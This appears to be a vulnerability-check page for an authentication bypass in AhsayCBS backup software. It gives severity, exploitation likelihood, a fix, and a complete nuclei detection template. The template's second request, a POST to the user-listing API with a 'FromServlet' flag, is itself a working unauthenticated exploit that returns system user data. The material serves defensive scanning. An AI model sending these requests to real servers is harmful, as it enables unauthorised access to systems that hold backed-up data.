AhsayCBS - JSON API Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-10-14; known to be used by ransomware.

mediumseverity

7.3CVSS score

84.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the "random" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.

Impact

Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.

Fix

Upgrade to version 10.3.4.

How to confirm it

Send: POST /obs/api/json/ListSystemUsers.do
Positive when: status_code == 200 and contains(header, "application/json") and contains_all(body, "\"Status\":\"Error\"", "\"Parameter SysUser is null\"")
Send: POST /obs/api/json/ListSystemUsers.do
Positive when: status_code == 200 and contains(header, "application/json") and contains_all(body, "\"Status\":\"OK\"", "\"Data\"")

Run it with nuclei: nuclei -id CVE-2026-105133 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-105133

info:
  name: AhsayCBS - JSON API Authentication Bypass
  author: alex
  severity: medium
  description: |
    Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the "random" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.
  impact: |
    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
  remediation: |
    Upgrade to version 10.3.4.
  reference:
    - https://www.ahsay.com/en/company/announcements
    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/
    - https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-105133
    epss-score: 0.84478
    epss-percentile: 0.99704
    cwe-id: CWE-287
  metadata:
    verified: false
    max-request: 2
    vendor: ahsay
    product: ahsaycbs
  tags: cve,cve2026,ahsay,ahsaycbs,auth-bypass,vuln,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"Status\":\"Error\"", "\"Parameter SysUser is null\"")'
        condition: and

  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "\"Status\":\"OK\"", "\"Data\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from